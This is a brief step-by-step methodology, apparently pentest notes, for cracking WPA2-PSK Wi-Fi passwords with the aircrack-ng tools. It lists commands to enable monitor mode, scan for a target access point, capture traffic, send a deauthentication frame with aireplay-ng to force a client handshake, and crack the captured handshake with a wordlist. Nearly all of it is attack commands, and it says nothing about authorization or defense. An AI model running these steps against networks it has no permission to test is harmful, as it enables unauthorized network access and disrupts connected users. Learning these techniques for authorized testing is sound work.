wifi

This method can be use to crack WPA2-PSK that utilizes a pre-shared-key for authentication.

Methodology

Step1: start adapter on monitor mode

1. Adapter check: iwconfig

   1. Kill active process: airmon-ng check kill

2. Start adapter on monitor mode: airmon-ng start wlan0

3. Start basic scan: airodump-ng INTERFACE

   1. Note down BSSID, CHANNEL, ESSID

Step2: start attack

1. start focussed scan: airodump-ng INTERFACE -c CHANNEL --bssid BSSID [-w FILE]

2. Should see traffic being recorded. Our aim is to capture a connection.

3. Send DeAuth: aireplay-ng INTERFACE -0 1 [-c STATION-TO-DEAUTH]

   1. -0 1 means to deauth once.

4. Capture the connection

Step3: Cracking

1. aircrack-ng FILE -b BSSID -w WORDLIST
